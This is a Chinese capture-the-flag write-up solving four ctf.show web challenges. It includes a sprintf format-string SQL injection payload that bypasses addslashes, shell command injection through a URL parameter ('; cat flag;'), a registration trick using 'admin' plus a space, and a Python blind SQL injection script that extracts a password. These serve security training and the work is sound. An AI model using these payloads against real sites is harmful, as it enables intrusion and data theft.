1. 给她
启动靶机,发现是sql注入,尝试后发现'被转义\,思路到这里就断了,再看题目给她,想到git.有可能是.git文件泄露,dirsearch扫描一下果然是,用GitHack看一下git备份文件,得到hint.php。
<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>
这里用到了sprintf函数,addslasheshes函数
addslashes 是 PHP 中的一个内置函数,用于对字符串中的特殊字符进行转义,通常用于防止这些字符破坏 SQL 查询语句的结构。它的主要作用是在特定的字符前添加反斜杠 \\,从而使这些字符在 SQL 查询中被视为普通字符,而不是具有特殊意义的符号以防止这些字符破坏 SQL 语句的结构。例如:
输入:name=admin'
转义后:name=admin\'
转义的字符
addslashes 会对以下字符进行转义:
单引号 ' → \'
双引号 " → \"
反斜杠 \ → \\
NULL 字符(\0)→ \0
sprint函数
sprintf 是一个格式化字符串的函数,用于将变量插入到字符串的指定位置
arg1 必需。规定插到 format 字符串中第一个 % 符号处的参数。
arg2 可选。规定插到 format 字符串中第二个 % 符号处的参数。
arg++ 可选。规定插到 format 字符串中第三、四等 % 符号处的参数。
若%符号多于arg参数,则需要占位符,占位符格式为“%number$” 其中number表示该项与第几个arg匹配,如若与第一个匹配 则占位符为“%1$”
$name = "admin";
$sql = sprintf("SELECT * FROM user WHERE name='%s'", $name);
结果为 SELECT * FROM user WHERE name='admin'
构造payload
?name='admin'&pass=%1$' or 1=1--+
结果是 "select * from user where name='admin' and pass='' or 1=1--+"
传入后
查看源码得到提示
<!--flag in /flag -->
看完wp才知道要从cookie下手,真是万万没有想到
查看cookie得到一串字符串,用随波逐流解码一下发现是16进制编码,把cookie的值替换为/flag16进制编码即可
2.签到题
<?php
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>
发现是命令执行漏洞,尝试?url=;ls;得到目录flag,index.php,
?url=;cat flag;得到flag
3.假赛生
<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
show_source("index.php");
}else{
$name=$_SESSION['name'];
$sql='select pass from user where name="'.$name.'"';
echo $sql."<br />";
system('4rfvbgt56yhn.sh');
$query=mysqli_query($conn,$sql);
$result=mysqli_fetch_assoc($query);
if($name==='admin'){
echo "admin!!!!!"."<br />";
if(isset($_GET['c'])){
preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
echo $flag;
}else{
echo "you not admin";
}
}
}
?>
要先注册,再登入然后get 传参,根据代码的name一定要是admin,但是注册时用admin不行,因此,要用admin+空格绕过,在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。也就是说我注册admin+空格账户在执行sql时相当于注册了admin账户。然后再登录,接下来要get传参
\w
:匹配任意字母、数字或下划线(等价于[a-zA-Z0-9_]
)。\W*
:匹配任意非字母、数字或下划线的字符(等价于[^a-zA-Z0-9_]
),*
表示匹配0次或多次。
也就是键盘上的按键基本都被过滤了,但是空格没被过滤,?c= ,绕过即可
4.萌新记忆
点进去啥有用信息的没得到,那就dirsearch扫描一下,发现admin,访问一下,又是sql注入
直接上脚本
import requests
import urllib3
import sys
import io
# 设置标准输出的编码为utf-8
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
# 禁用 InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url="https://1defb603-9b0c-4027-9e49-21cb3d21c5c2.challenge.ctf.show/admin/checklogin.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz"
passwd=""
for i in range(1,30): #增大容错
for j in letter:
payload="'||substr(p,{},1)<'{}".format(i,j)
# print(payload)
data={
'u':payload,
'p':1
}
res=requests.post(url=url,data=data, verify=False).text
# print(res)
if "密码错误" == res:
passwd += chr(ord(j)-1)
print("[+]1: ",passwd)
break
得到密码登入得到flag